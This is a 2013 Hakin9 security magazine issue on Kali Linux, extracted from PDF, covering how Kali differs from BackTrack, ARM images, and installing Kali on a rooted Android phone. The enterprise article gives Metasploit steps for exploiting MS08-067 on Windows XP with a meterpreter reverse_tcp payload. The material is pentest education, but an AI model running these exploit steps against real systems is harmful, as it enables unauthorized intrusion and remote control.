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PRACTICAL PROTECTION IT SECURITY MAGAZINE

Editor in Chief:
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team

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Dear Readers,
long with the Autumn here it comes the comprehensive ‘Guide to Kali Linux’. In the following issue we will
focus on this popular, yet still-much-to-discover pentesting tool.

A

So we will start with the Basics and see what’s new
in Kali Linux comparing to BackTrack and also we will
browse the set of new and updated tools in the article ‘Kali
Linux for Enterprises’.
The Attack section is full of great tips for pentesters
(and not only), so they can see how to weaponize the android platform and also perform the attack on servers.
The Defense section contains a great paper on deploying network vulnerability scanners for medical clients and
presents an interesting view on Kali scanning. There is
also a fine overview on Kali as a tool for both good and
bad purposes.
We are sure you will find a lot of helpful information in
the whole issue.
Hakin9’s Editorial Team would like to give special
thanks to the authors, betatesters and proofreaders.
We hope our effort was worthwhile and you will find the
Hakin9 Guide to Kali Linux issue appealing to you. We
wish you a nice read!

DTP:
Ireneusz Pogroszewski

Publisher:
Hakin9 Media Sp. Z o.o. SK
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Julia Adamczewska
and the Hakin9 team

Whilst every effort has been made to ensure the
highest quality of the magazine, the editors make no
warranty, expressed or implied, concerning the results
of the content’s usage. All trademarks presented in the
magazine were used for informative purposes only.

DISCLAIMER!

The techniques described in our magazine
may be used in private, local networks only.
The editors hold no responsibility for the
misuse of the techniques presented or any
data loss.

4

Extra 03/2013

CONTENTS

BASICS

Kali Linux – What’s new?

06

By Steven McLaughlin, Security Researcher
Kali Linux released earlier in the year is dubbed the
most advanced penetration testing distribution, ever.
How does it compare to BackTrack?, and: What’s the
difference?

Kali Linux for Enterprises

10

By Navneet Sharma, Information Security Analyst
Whenever we think of Penetration Testing (PT) the first
name that comes to our mind is “Backtrack (BT)”, which
we have been using for the last few years. Backtrack,
funded by offensive Security (www.offensive –Security.
com), is also one of the most popular UBUNTU Linux
based platform, with collection of organized security
testing tools such as Open-VAS, maltigo, Metasploit
Framework (MSF), etc. Last release to Backtrack series
was Backtrack 5 R2 with codename Revolution.
Kali Linux is the latest linux distribution made for penetration testing by and used by security assessors and
hackers. Kali Linux is also considered as a successor
to Backtrack.

ATTACK

Weaponization of Android Platform
using Kali Linux

16

Kali Linux, Attacking Servers

24

Hands On: How to Create “Backdoor”
to Remote Access with Kali Linux,
DNS Spoofing Attack with Ettercap
and Cloning Sites with Kali Linux

28

By Daniel Singh, Independent Consultant in network
and systems security
Kali Linux has become the most popular tool for professional penetration testing and security auditing. In
this article, we will review how to couple the functionality of Kali Linux with Android platform over HTC One X
smartphone to create an invincible penetration-testing
weapon.

By Ismael Gonzalez D., Security Researcher, CEH,
MCP, MCDTS, MCSA, LPIC-1
This article will show you how to perform attacks on web
servers, getting full access to the system and database.
Just by using some of the ‘Top Ten’ tools of Kali Linux.

By Rafael Fontes Souza, Co-Founder at Grey Hats,
member of the “French Backtrack Team”
The three articles describe very useful tools in Kali and
cover the ideas of creating backdoor, how to perform
the spoof attack and how to clone websites with SET
Attack Method.

www.hakin9.org/en

DEFENSE

Kali Scanning for HIPAA – A Proof of
Concept: using Kali Linux to deploy
distributed network vulnerability
scanners for medical clients

34

KALI LINUX
– A Solution to HACKING/SECURITY

40

By Charlie Waters, Security Officer and Senior
Consultant for Infinity Network Solutions
The Health Insurance Portability and Accountability
Act of 1996 (HIPAA) requires organizations who handle electronic Protected Health Information (e-PHI) to
take action and reduce risk relative to potential security
breaches of digital communication and storage of patient information. Open Source solutions can be leveraged as a low-cost and effective strategy to minimize
risk when used as component of a larger information
security program. With a long “track” record of community support, Kali is an open source Linux distribution
containing many security tools to meet the needs of
HIPAA network vulnerability scans.

By Deepanshu Khanna, Linux Security Researcher
Today is the world of technology and everyone somehow is attached to it. Some are using the technology for
the good purpose and some are using it for bad purposes and Internet is one of those technologies which define both my statements. Internet is being used both by
the good (the White Hats) and the bad (the Black Hats).
So, my paper is totally based on the above line that the
OS (Operating System) KALI LINUX (which is an extension to Backtrack) can be used in both the ways either
for good or bad.

BASICS

Kali Linux
– What’s new?
Kali Linux released earlier in the year is dubbed the most
advanced penetration testing distribution, ever. How does it
compare to BackTrack?, and: What’s the difference?

F

or some years BackTrack linux has been
the premier pen-test distribution. The newest pen-test distribution released by Offensive Security which supersedes BackTrack
comes with some massive and welcome improvements. The biggest change from BackTrack
is the move from Ubuntu linux to Debian Wheezy
linux. The first thing I notice is that the installation is no longer launched by executing a script
on the Desktop as it was with BackTrack, but is
initiated but booting into a proper Debian installation system. The process generally feels a lot
smoother from the start. I have also noticed that
in general Kali doesn’t break as easily as Backtrack and it generally has a much more stable
feel to it. So what’s the difference between BackTrack and Kali?

BackTrack 5 v Kali

Ubuntu, which BackTrack is based on, has a general feel to it that it is trying to babysit you as the
user, which can be annoying to an experienced
linux user. Ubuntu likes to make everything user
friendly and tries to cut out any complex configurations. Debian, which Kali is based on, may not
come across to be so ‘user friendly’ to someone
who is not that experienced with linux, and requires more hands on experience with linux, but
is generally more configurable and stable. Person-

6

ally, I definitely prefer the Debian base for Kali as I
like to tweak. This distribution is not for linux beginners in any case.
What Happened to Firefox?
One of the first things I notice is that Firefox has
been replaced by Iceweasel. On first instance
this might leave you wondering what Iceweasel is
and why it has replaced Firefox. The truth is that
Iceweasel IS Firefox. The Debian project patches Iceweasel by backporting security fixes, thus
making it secure enough to be declared in debian stable version. Because this is the case they
had to re-brand it Iceweasel as the modifications
made by Debian project were not approved by the
Mozilla foundation in order to use the Thunderburd logo. Other than backported security patches and the logo, both Firefox and Iceweasel are
identical. I would recommend staying with Iceweasel on Debian, but if you really want to use
Firefox you can install it in the following manner
by first uninstalling Iceweasel (Listing 1).
FHS-compliance and /pentest
Another massive step in the right direction is FHScompliance. File Hierarchy Standard (FHS) compliance specifies guiding principles for each part of the
file system, and means that the directory structure
and file system is standardised such that software

Extra 03/2013

Kali Linux – What’s new?

now in PATH and can now be fired up from anywhere in the system. I certainly don’t miss the /
pentest directory. This certainly makes life a whole
lot easier.

and users can easily find the location of installed
files such as binaries and libraries. This will also
lead to a more stable system in general.
In BackTrack, every pen-test tool which you
wanted to use you either had to express the full
pathname to the tool e.g. /pentest/passwords/
rainbowcrack/rcrack or change to the directory in
order to use it. Kali no longer uses the /pentest directory tree, and all command line pen-test tools
seem to be located in /usr/bin. Pen-test tools are

No Nessus
Nessus does not come installed with Kali and is
not available in the Kali repositories. One reason
for this could be that Kali linux is based on Debian Wheezy (Debian 7), however if you check the
available downloads from the tenable website,
they have only released a version of Nessus for
version 6 of Debian. Another reason for this may
be because Nessus is more of an audit and compliance benchmarking tool than a pen-test tool,
and perhaps it was thought too bloated to include.
Nessus is certainly something I see more of installed on dedicated servers these days. However if you want to install it, the Debian 6 version of
Nessus which can be downloaded from the tenable website will still work. The only other possible reason for not including Nessus is that Nessus is forbidden in the Penetration Testing with
BackTrack(PWB) Course (which will probably

Listing 1. How to install Firefox
echo “deb http://downloads.sourceforge.net/
project/ubuntuzilla/mozilla/apt all main”
>> /etc/apt/sources.list

apt-get remove iceweasel
apt-key adv –recv-keys –keyserver
keyserver.ubuntu.com C1289A29
apt-get update
apt-get install firefox-mozilla-build
apt-get install thunderbird-mozillabuild
a

www.hakin9.org/en

d

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i

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e

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7

BASICS

get a new name now because of Kali). Offensive
Security encourages all of its PWB students to
use more specialised and targeted tools to perform enumeration and discovery. Further, different tools quite often output different results, so it’s
best to use more highly targeted tools in a pentest to get specific results rather than the results
of a generalised scan or vulnerability assessment
tool such as Nessus.
Other Notable Changes
Kali uses Leafpad instead of gedit which is a much
lighter weight text editor than gedit. It is also noticeably faster. But if you want to use gedit it is
still available in the Kali respository with a simple
apt-get install gedit. Gedit may appear bloated to
some unless you are interested in syntax highlighting. Personally I like syntax highlighting, but have
a habit of writing all my code in vim from the terminal window which has this functionality anyway
– each to their own I guess. Here’s a list of some
other welcome changes:
• The PDF viewer which was used in BackTrack
has now been replaced with Document Viewer
which is great since I found the PDF viewer a
bit flakey.
• You can now easily create your own custom
ISO of Kali by using Debian live-build scripts.
• Kali comes with VLC player pre-installed which
was not included in BackTrack.
• I’ve also noticed that the ISO image for Kali is
almost 1GB smaller than the BackTrack 5 R3
ISO.
Upgrading to Future versions of Kali
If you had BackTrack 4 installed and wanted to upgrade to BackTrack 5, the only way you could have
achieved this was to do an entire reinstall. This
would be time consuming, and mean you would
have to re-configure everything back to the way
you wanted it, and customise all your tools again.
With Kali however, an upgrade to future major releases can be done by simply issuing the following
commands: Listing 2.
The Kali repository gets its security packages
from the Debian repository, and all of its tools are
now packaged up to be Debian compliant.
Listing 2. Upgrading Kali to the next major distribution
root@kali:~# apt-get update

root@kali:~# apt-get dist-upgrade

8

On the Web
•
•

http://www.pathname.com/fhs/ – Information on
File Hierarchy Standard
http://www.offensive-security.com/information-security-training/penetration-testing-with-backtrack/ – Penetration Testing with Backtrack Course

Summary

In summary, Kali linux feels a lot smoother to
work with than BackTrack, whilst most of the
tools remain fairly similar or unchanged; the
main overhaul to be commended on is the overall improvement in the quality of the distribution
from the move to Debian. It now feels like a complete distribution with far less flakiness and a lot
more stability. For a duck dive into the pen-test
tools which ship with Kali, I would recommend
doing Offensive Security’s Penetration Testing
with BackTrack(PWB) course which will familiarise you with all the tools necessary to conducting
a complete penetration test with reporting. The
main advantage you will notice is that the tools
are now all in path with Kali. The only advice I
have in pursuing this course is to get permission
from your other half, as it will take a good couple
of months out of your life, but is extremely fun, addictive, and rewarding with all the breakthroughs
you will have. Well done to the Offensive Security
Team for creating such an improved distribution,
and good luck with your Kali experience.

Steven McLaughlin
Steven McLaughlin is an experienced information and network security professional. With both a technical and consulting background, he has been heavily involved in working with global companies
developing solutions and delivering large
scale projects. He also works in highly specialized teams in order to develop new ideas and patents and
bring new products to market.

Extra 03/2013

BASICS

KALI Linux
For Enterprises
Whenever we think of Penetration Testing (PT) the first
name that comes to our mind is “Backtrack (BT)”, which we
have been using for the last few years. Backtrack, funded
by offensive Security (www.offensive –Security.com), is also
one of the most popular UBUNTU Linux based platform,
with collection of organized security testing tools such
as Open-VAS, maltigo, Metasploit Framework (MSF), etc.
Last release to Backtrack series was Backtrack 5 R2 with
codename Revolution.

K

ali Linux is the latest linux distribution made
for penetration testing by and used by security assessors and hackers. Kali Linux is also considered as a successor to Backtrack. Backtrack was based on Ubuntu Distribution (www.
ubuntu.com) whereas Kali Linux complies with
debian development standards (www.debian.org).
Building Kali Linux was something like Re-Inventing the wheel again. Kali Linux was built from
scratch, to support under the Debian platform and
also to make it compatible with new or existing se-

Figure 1. Evolution of Kali Linux

10

curity tools. Kali Linux is designed to support both
32-bit and 64-bit platform and ARM Architecture.

Evolution of Kali Linux

When Backtrack was initially developed by Offensive-Security, with consideration in mind to conduct network based Vulnerability Assessment and
Penetration testing. They started releasing BT versions with their name, as depicted on (Figure1).
When BT 3 was released, it was released with
codename “Whydah” and added functionality and
tools to conduct wireless testing. BT 4 released
with Codename “Pwnsauce” and “Nemisis”, with
added functionality of web application testing and
with more advanced and improved GUI based interface. And with continuation to BT 5 R2 with security tools update like BeeF(Browser Explotation
Frwamework), bluelog, dnschef, dpscan, etc.
Kali Linux is considered an enterprise ready solution, because it considered enterprise users when
it was designed. Kali runs on a Debian platform,
which supports many software repositories to keep
updating OS with latest releases and patch. This
capability reduces updating problem, which users
were facing on BT environment.
Also Offensive security team up with Rapid 7
(Makers of Metasploit Framework), to provide official support to Kali Linux. So MSF (most important arsenal of BT) was rebuildt to support Debian platform.

Extra 03/2013

KALI Linux (For Enterprises)

Development Architecture

Kali Linux supports various Reduced Instruction
set Computing (RISC) based development architecture. Kali ARM can be made for:
•
•
•
•
•
•
•
•
•

EfikaMX
Beaglebone Black
CuBOX
Galaxy Note 10.1
Samsung Chromebook
MK/SS808
ODROID U2
Raspberry Pi
ARM Chroot

Let’s discuss here few of them, how these ARM’s
can be used for Kali Linux.

EfikaMX

Efika is a line of power efficient ARM architecture and
Power architecture. EfiKa MX Open Client is a network computer based around the EFIKA MX micromother board. EfikaMX has following specifications:
•
•
•
•
•
•
•
•

Freescale i.MX515 (ARM Cortex-A8 800MHz)
3D Graphics Processing Unit
512 MB RAM
8GB USB
2x USB 2.0 ports
Audio jacks for headset
Built in Speaker
Bluetooth (Broadom 2043)

Steps to build image by EfikaMX
• Step 1: Get 8GB micro SD Card, class 10 highly recommended
• Step 2: Download Kali image
• Step 3: use dd utility to image this file to SD card
root@kali:~ dd if =kali-1.0.1-efimx.img of=/dev/sdb
bs=512k

Samsumg Galaxy Note 10.1

Of course the popular one and most people have
it. Also attract pentesters to build image for this.
Kali also listed down its procedure to make image
for Galaxy note 10.1. Galaxy note 10.1 has following specification:
• 1.4 GHz Quacore processor
• 2 GB RAM
Steps to build image for Samsung Note (Steps as
per Kali Linux.org website)
• Step 1: Get 8GB micro SD Card
• Step 2: Root the Samsung Galaxy Note 10.1
• Step 3: Download Kali Linux for Samsung galaxy Note 10.1
• Step 4: Rename the image to linux.img
• Step 5: Download Recover.img file from download section of Kali Linux.orf and copy it on
your Note 10.1 sdcard
• Step 6: use dd utility to image this file to SD card
root@kali:~ dd if =/dev/block/mmcblk0p6
of=recovery.img_orig

• Step 7: Reboot Galaxy note 10.1 to recovery
mode, press Power Off and Volume UP button.
Once you see the text for “Samsung Galaxy
Note 10.1”, release the power button but keep
pressing the Volume UP button. This should
boot into Kali and auto Login into Gnome. Root
Password is “Changeme”
• Step 8: Open Keyboad: Applications -> Universal Access -> Florence Virtual Keyboard
Note: development architecture referenced from
http://docs.kali.org/category/armel-armhf.

Directory Structure

As Kali is successor to Backtrack, so most of its features are inherited from backtrack. Like Backtrack,

Beaglebone Black

Beaglebone boards are tiny computers with all capability of today’s desktop machine without bulk
noise, expense or noise.
Steps to build image using Beaglebone:
• Step 1: Get 8GB micro SD Card, class 10 highly recommended
• Step 2: Download Kali Linux Beaglebone
• Step 3: use dd utility to image this file to SD card
root@kali:~ dd if =kali-bbb.img of=/dev/sdb bs=512k

www.hakin9.org/en

Figure 2. Directory Structure

11

BASICS

Kali tools are also divided into 12 categories (Figure 2):
•
•
•
•
•
•
•
•
•

Information Gathering
Vulnerability Analysis
Web Applications
Password Attacks
Wireless Attacks
Stress Testing
Exploitation Tools
Sniffing/Snooping
Maintaining Access

• Reverse Engineering
• Forensics
• Reporting Tools
Remembering Backtrack 5, penetration directories are organized in under /pentest directory.
But in Kali Linux doesn’t store security tools under pentest directory, commands are generally executed from /usr/sbin (Figure 3).
Another important category of tools added in Kali
Linux are “TOP 10 Security Tools” which are frequently used by pentesters, as presented Figure 4.
Offensive security has also put lots of effort to
make Kali enterprise ready solution by adding
more tools in Kali. Researchers most of the time
used backtrack for “MSF” and to do other stuff,
they depend on other penetration testing distro’s
or they make their OWN ISO or install on their own
operating system. (Figure 4) shows the comparison between Backtrack and Kali (Figure 5).

Figure 3. Kali Vs. Backtrack: Change in Directory Structure

Figure 4. Kali Linux “Top 10 Security Tools”

Figure 6. Opening metaspoloit with msfconsole command

Figure 5. Tool Comparison between Kali and Backtrack

12

Extra 03/2013

KALI Linux (For Enterprises)

Let’s do some Practical things with Kali

to the service not properly handling specially crafted
RPC requests. An attacker who successfully exploited
this vulnerability could take complete control of an affected system.

Some Brief about the vulnerability

Reference to the vulnerability
http://technet.microsoft.com/en-us/security/bulletin/ms08-067.

As we know the famous vulnerability in WindowsXP “MS08-067: Vulnerability in Server Service
could allow Remote-Code execution”
Remote code execution vulnerability exists in the Server service on Windows systems. The vulnerability is due

System Exploited successfully
Windows XP Service PACK-2.
Steps followed to exploit the vulnerability (Figures
6-9). Steps explained in a nutshell.
Step 1: Open MSF Console
msfconsole
Figure 7. Searching exploits for netapi

Figure 8. Setting up exploit, adding required variables, and exploiting the target

Figure 9. Verifying exploited system

www.hakin9.org/en

13

BASICS

References
•
•
•
•

•
•
•
•
•
•
•

http://en.wikipedia.org/wiki/BackTrack – for Backtrack in a NutShell
http://www.offensive-security.com/tag/kali-linux/ – for all post on Kali Linux about installation and managing
http://www.kali.org/ – for introduction to Kali
http://docs.kali.org/category/armel-armhf – for Kali Linux ARM Architecture also for creating ARM images on EfikaMX, Beaglebone etc.
http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/ – For Official introductory release of Backtrack 5
http://www.h-online.com/open/news/item/Kali-Linux-arrives-as-enterprise-ready-version-of-BackTrack-1822241.html
– For Story behind building Kali Linux for enterprises
http://www.offensive-security.com/kali-distribution/kali-linux-on-galaxy-note/ – For deeper look of Kali Linux installation on Galaxy Note
https://wiki.debian.org/EfikaMX#What_is_EfikaMX.3F – For Introduction of EFIKAMX chipset
http://www.infosecisland.com/blogview/22236-Backtrack-5-r3-List-of-Some-of-the-New-Tools-and-Programs.html –
For introduction to new tools added to BackTrack
http://www.beagleboard.org – Introduction to BeagleBone Chipset and it’s working
http://www.backtrack-linux.org/ – All about BackTrack and it’s feature.

Step 2: Search for exploit “netapi”,
use command “search netapi”
Step 3: Configure the Exploit for execution to
target
Use following commands to exploit target
•
•
•
•
•

Use exploit/windows/smb/ms08_067_netapi
Set payload windows/meterpreter/reverse_tcp
Set lhost 
Set rhost 
exploit

Step 4: Exploit run Successfully, Run VNC

Kali Linux installation and Software
repositories
Installation

• Download VMPlayer or VMware workstation
from Vmware website as per yours operating
system
• Install on the VMPlayer or VMWare on your
platform
• Create Virtual machine (With min 20 GB Hard
disk Space, 1GB RAM, Two Network Adapter,
rest all by default)
• Mount KALI ISO file on the VMWARE setting
• Switch on the Virtual machine and boot it from
“CD-ROM” by pressing “ESC”
• Once GRUB Appear, and then click on the install (or it can be used as a LIVE CD)
• Follow the instruction as written on screen
(Similar to backtrack installation)
• Finish the installation
Update Kali
• Open leafpad

14

• Open file from /etc/apt/sources.list (Some
sources path already present there, but more
can be added from Google)
• apt-get update
• apt-get upgrade
• apt-get dist-upgrade

Summary

Kali Linux a Debian based platform for advanced
penetration testing. Kali approach is good try for
stepping ahead into next generation of penetration
testing. Researchers and developers of offensive
security have put their best effort to make Kali platform enterprise ready. As Debian being the older
platform for Linux, it also has a large user base
compared to UBUNTU. Debian based Operating
system has also good market capture so movement from Ubuntu to Debian platform will definitely
give power to end users.
At last KALI is enterprise focused, developed
keeping in mind enterprise needs, so there is much
more to evolve in near future. So good luck to Offensive Security team!
Keep Learning and Be Secure!

Navneet Sharma
Navneet Sharma is a Solution Architect
with Tata consultancy services, working in
domain of information security and network security. He holds a degree of Bachelor of Technology in Information Technology and has worked in diverse range of industry verticals over the last 7 years of his
career. Some key assignment that he has been involved in include network security design and consulting, security auditing (Application/Network), Vulnerability Assessment and Penetration Testing.

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ATTACK

Weaponization of
Android Platform using
Kali Linux
Kali Linux has become the most popular tool for
professional penetration testing and security auditing.
In this article, we will review how to couple the
functionality of Kali Linux with Android platform
over HTC One X smartphone to create an invincible
penetration-testing weapon.

T

he global market is flooded, ruled by androidbased mobile devices and smartphones.
Mobile phones are becoming smaller and
have greater processing power. These devices with mobile internet and wireless connectivity
have revolutionised businesses and work methodologies. Tasks like connectivity, sharing, process
automation and extensive computing over smartphones have become the norm. The android operating system has made smartphones and mobile
devices, a very powerful tool in the hands of security professionals and even deadlier in the hands
of black hats.
Android is a very popular operating system for
mobile devices such as smartphones and tablets.
Initially developed by Android Inc. and then bought
by Google in 2005. Android is an Open Handset
Alliance product and released under the Apache
license. The power of Android platform lies in the
thousands of apps running on it, backed by a strong
and active open source developer community. Used
by 70% of the mobile developer community, thus

16

making it the most widely used platform. It is considered a highly customisable and scalable mobilebased distribution, making it widely accepted foundation base for community-driven mobile projects.

Android Architecture Overview

Android devices, built on Linux kernel version 2.6
and the first commercially distribution made available on HTC Dream handset in 2008. Since then
numerous updates have incrementally improved
the operating system base and added new and
improved functionality. The latest official release
is Jelly Bean 4.3 with a slogan „An even sweeter Jelly Bean”. Android’s user interface uses touch
inputs to correspond to real world actions. These
responses are immediate, with vibrations and haptic feedback capabilities. The Android framework is
very extensive as it has a layered approach. It has
five layers, the kernel and low-level tools, the native libraries, the android runtime with Dalvik virtual
machine, the framework layer is on top of this and
finally the applications run above everything.

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Weaponization of Android Platform using Kali Linux

The Linux kernel is written in C/C++ and the
framework is written in java and runs on Dalvik virtual machine. The present kernel is 3.0.x and has
added support for Bluetooth and Wi-Fi encryption.
Android is built to run on devices with little main
memory and low powered CPU’s. Majority of the
modules are made to consume low power. The actual android runtime consists of Dalvik virtual machine and java libraries. All applications in android
devices run in their own sandboxed Dalvik virtual machines. Each applications runs with its own
unique user id and in its own process. Android has
very efficient memory and power management.
Android has support for various APIs, has media
framework, integrated internet browser support,
highly optimised graphics, camera, GPS, compass,
and accelerometer sensors. The applications can
be easily created using SDKs and are available
using the various apps markets. The biggest apps market is Google Play where one can find various apps in categories and using searches. Apart
from the default Google Play, there are many other app stores to download and install apps. Table
01 provides a list of widely used open markets, but
make sure not to trust anyone blindly in the present
scenarios of malicious apps and malware threats.
Always disable USB debugging and uncheck the
“Unknown sources” option under Settings >> Ap-

plications menu to keep your android device safe
from such tampering (Figure and Table 1).
Table 1. List of available Android App Stores
Sl # Apps Market

Url

01

Google Play

https://play.google.com/store?hl=en

02

Amazon store http://www.amazon.com/mobileapps/b?node=2350149011

03

GetJar

http://www.getjar.mobi/

04

Slide ME

http://slideme.org/

05

F-Droid

https://f-droid.org/

06

Appoke

http://beta.appoke.com/

07

Appia

http://appia.com/

08

App Brain

http://www.appbrain.com/

09

Android Pit

http://www.androidpit.com/

10

Handango

http://www.handango.com/Home.
jsp?siteId=2218

11

Handster

http://www.handster.com/

12

Mobango

http://in.mobango.com/

13

Opera Store

http://apps.opera.com/en_in/

14

Soc.io

http://soc.io/

15

Insyde Market http://www.insydemarket.com/

16

AppsFire

http://appsfire.com/

17

Aptoide

http://www.aptoide.com/

Figure 1. Android Architecture, taken from wiki

www.hakin9.org/en

17

ATTACK

Introduction to the HTC One X Mobile
Phone

The HTC One X smartphone is a pretty powerful device with 1.5 GHz, quad core (global version) CPU speed, Android 4.1 with smart sense
4, screen size of 1280x720 (HD, 720p) with 1GB
RAM 16/24 GB Flash Memory and Wi-Fi, Bluetooth, NFC, USB connectivity and multi-sensors
(Gyro sensor, G-Sensor, Digital Compass, Proximity sensor and Ambient light sensor).

Introduction to Kali Linux

Offensive Security the creators of Backtrack Linux
have a new catchy tag line “the quitter you become,
the more you are able to hear”, with this Zen mantra the focus is stealth. Kali Linux was created for
stealth and attack, this amazing distribution is an
advanced and more versatile version of Backtrack
ever created. This distribution is geared towards
professional penetration testers and security auditors. Kali has gone beyond any live cd distro and
moved into the category of a full-fledged operating system. It has moved to a solid base of Debian modules and is completely File Hierarchy System (FHS) compliant. All directories appear under
the main root directory “/”, and have the ability to
be stored and accessed on physical or virtual devices. The main “/pentest” directory from previous
Backtrack5 release has been removed in this version named Kali. Now the user can execute any tool
from anywhere in the file-system, irrespective of its
installed location. The second advantage of Kali is
its support for ARM hardware and ability to bootstrap the installation directly from the repositories.
Kali operating system has over three hundred
penetration testing tools and wireless device support. Its kernel is highly patched and network
services are disabled by default making it more
secure. Kali is not just for network security professionals, beginners can also start learning about
cyber security using this distribution. Whether you
are pentesting wireless, exposing server vulnerabilities, performing a web application based exploit, learning, or doing social engineering, Kali is
the one-stop-shop for all security needs. Kali is
free and now ported on Android based smartphone
to be taken anywhere.
Kali Linux has many well-known tools like
Metasploit, Injection capable wireless drivers, Kismet, John, Zap Proxy, Nmap, Ophcrack, Ettercap,
Hydra, etc. These tools are all categorised in fifteen different categories for various purposes. The
fifteen categories are: Top 10 Security Tools, Information Gathering, Vulnerability Analysis, Web
Applications, Password Attacks, Wireless Attacks,

18

Exploitation Tools, Sniffing/Spoofing, Maintaining Access, Reverse Engineering, Stress Testing,
Hardware Hacking, Forensics, Reporting Tools
and System Services. Kali Linux is running Debian
XFCE and comes with vim as default text editor.
All the standard applications and accessories are
pre-installed and ready to run. For weaponizing
Android platform with Kali Linux, we will require an
unlocked & rooted device.

How to unlock the HTC One X Bootloader
and Root the device?

It is important to understand the difference between Unlocking the Bootloader and rooting mobile devices. Unlocking the Bootloader provides
the user with the option to change the stock operating system on the mobile device. However, rooting is the process of modifying or altering the default operating system shipped with the device to
gain complete control over it.
This means that the limitations of carriers and
various manufacturers put on the device is easily bypassed, extended functionality is accessed
without any problems, custom modules and upgrades can be added without any limitations. Generally, manufacturers and carriers do not usually

Figure 2. Unlock Bootloader

Figure 3. Warranty Void

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Weaponization of Android Platform using Kali Linux

Figure 4. Linux Deploy

recommend rooting. HTC provides instructions on
their website to unlock the Bootloader for HTC One
X, but by performing this operation, the user voids
all warranty on the device. The systematic instructions to unlock the Bootloader for HTC One X are
present on the HTC Dev site. Make sure HTC Drivers are installed on the PC and the mobile phone
can connect and be recognised as HTC Device
via USB cable. Once the device gets connected
successfully to the PC, login to the HTCDev website with the registered user name and password.
Start by selecting Unlocking Your Bootloader and
then select “All Other Supported Models” under
the Supported Devices section, click Begin Unlock
Bootloader to start the wizard.
The website prompts to sign a disclaimer that
clearly states, the warranty is void and proceeding further would mean that every repair would be
charged. The website wizard finishes by requesting the device Token ID extracted from the mobile
phone. Then based on the Token ID, HTC releases
the unlock code block to release the mobile device. The “unlock.bin” file received is, used to flash
the device and the Bootloader gets unlocked. Next
step is to install SuperSu app, which is an access
management tool. Now with root privilege on the
mobile device, Kali Linux can be installed. There
are two methods to install Kali Linux on Android:
• Method 01: Install Kali GUI using Linux Deploy
App,
• Method 02: Install Kali Command Line Interface (CLI) using Chroot Environment.

Method 01: Install Kali GUI using Linux
Deploy App
Figure 5. Click Install

Requirements: Rooted HTC One X mobile with 4GB
free space, Linux Deploy App & Android VNC Viewer.

Methodology
• Install
these

Linux
values:

Deploy

and

Architecture=armel, VNC: Screen

Figure 6. Install finish

www.hakin9.org/en

configure
Linux,
Width=1920, VNC:

Distribution=Kali

Screen Height=1280, (Figure 4-6)
• Scroll up click Install to finish the download and
install of Kali Linux over Wi-Fi,
• After completion, go back to the Settings and
select Reconfigure option,
• Once reconfiguration is complete, run the server using the START option,
• Install Android VNC-Viewer and configure
these values: Nickname=Kali, Set Port=5900,
Password=changeme, Color Options = 4bpp better
quality video (Figure 7-9).

19

ATTACK

Click on the Connect button to fire away. Kali Linux GUI will show up. This method effectively
shows to deploy Kali GUI over Android.
Optional 01
Kali distribution can be updated by running the below command from a terminal prompt:
sudo apt-get update && sudo apt-get upgrade &&
msfupdate

Figure 10. Extracted folder containing kali.img

Optional 02
Armitage tool can also be added. Armitage is a
scriptable tool for Metasploit that visualizes targets, recommends exploits and exposes the advanced post-exploitation features in the Metasploit
framework. It has many features for discovery,
access, post-exploitation, and manoeuvre, which
makes is more effective. The command to install
Armitage is:
apt-cache search armitage && apt-get install
armitage

Figure 7. Server started

Method 02: Install Kali Command Line
Interface (CLI) using Chroot Environment

In this method the chroot operation is used to deploy
Kali Linux. The chroot operation changes the root
directory for the current running processes and its
children processes by creating and hosting a separate virtualised environment. Any program deployed
using this operation is confined to the defined base
directory. Here the chroot operation is used to setup
the Kali Linux platform for pentesting.
Requirements
Rooted HTC One X mobile device with 6GB free
space, BusyBox free app & Terminal Emulator app.

Methodology
Figure 8. VNC-Viewer

• Download pre-compiled chroot kali distribution
from http://googl/qmGle. Mirror: https://archive.
org/details/Kali.nogui.armel.zitstif.chroot.482013
MD5: d60c5a52bcea35834daecb860bd8a5c7
SHA1: f62c2633d214de9edad1842c9209f443bcea385d

Figure 9. Kali Linux booting

20

• Extract the downloaded archive onto phone’s
internal storage folder /sdcard/kali,
• Kali folder contains three files, hashsum, ‘kali’
shell script and ‘kali.img’ file (Figure 10),
• Install Terminal Emulator app.To run the Kali
chroot environment use the below command:

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Weaponization of Android Platform using Kali Linux

*Note: Kali file requires permissions to be an executable and we can set it using this command first:
Chmod 755 /sdcard/kali/kali

then use this command to run Kali
su -c /sdcard/kali && sh kali

Optional 01
Terminal Emulator can be configured to start the
session directly in the Kali chroot environment by
adding the following command in: Preferences >>
Initial Command
su -c “cd /sdcard/kali && sh kali”

Optional 02
Update the distribution by using the following command:
apt-get update && apt-get upgrade && msfupdate

Optional 03
Enhance functionality by adding below mentioned
tools from app store.
Figure 11. Kali chroot prompt

Summary

Kali Linux GUI or CLI both are equally powerful
when combined with Android Platform. The beginners can start using kali GUI on mobile device and
the more experienced who are comfortable with the
terminals can have fun using kali CLI. In the future,
more mobile-based tools and apps are going to
flood the markets and we need to start using mobile
devices and smartphones as they and becoming
inexpensive and more functional. Hope this article
is helpful, informative and encourages you towards
the field of cyber security and pentesting.

Daniel Singh

Figure 12. Metasploit in Kali chroot

www.hakin9.org/en

Daniel Singh (CEH, ECSA) is Cyber-security consultant and prominent speaker at
Defcon Indian Regional Chapters. He has
over thirteen years of experience in scientific software development, network/database administration, business & data
analysis. He has worked in various roles, i.e.; coding, testing,
database and network administration to senior analyst. Currently he works as an Independent consultant in network and
systems security. Apart from consulting, he is active in training & mentoring upcoming security professionals. He has varied interests including malware analysis, open source intelligence gathering, reversing, offensive security and hardware
hacking. Email: Daniel@techngeeks.com

21

ATTACK

Table 2. Tools for enhancing functionality
App Name

Description

Maluuba

voice activated assistant

AndFTP

ftp/sftp client

Android Hackers

shows complete android info

network
discovery

Computer/device discovery and port
scanner

AndroidVNC

vnc viewer client

AndSMB

Android Samba client

Antennas

shows mobile antennas and much
more info

AnyTAG NFC
Launcher

Automate your phone by scanning
NFC tags

APG

OpenGPG for Android

APK Dumper

copies apk of selected apps

App List Backup

says what it does

Bugtroid

pentesting and forensics

CardTest

Test your NFC enabled credit cards

Checksum

GUI tool for md5sum and shasum tools

ConnectBot

powerful ssh client

DNS Lookup

perform DNS and WHOIS lookups

Dolphin Browser

network tools

periodic monitoring of websites,
servers, routers, surveillance
systems, etc

NFC ReTAG

Re-use write protected NFC Tags
such as hotel key-cards, access
badges, etc

NFC TagInfo

another NFC reader

obackup

Easily backup your entire device to
